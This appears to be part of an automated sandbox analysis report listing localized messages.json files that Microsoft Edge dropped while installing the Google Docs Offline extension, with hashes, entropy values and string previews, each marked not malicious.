Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
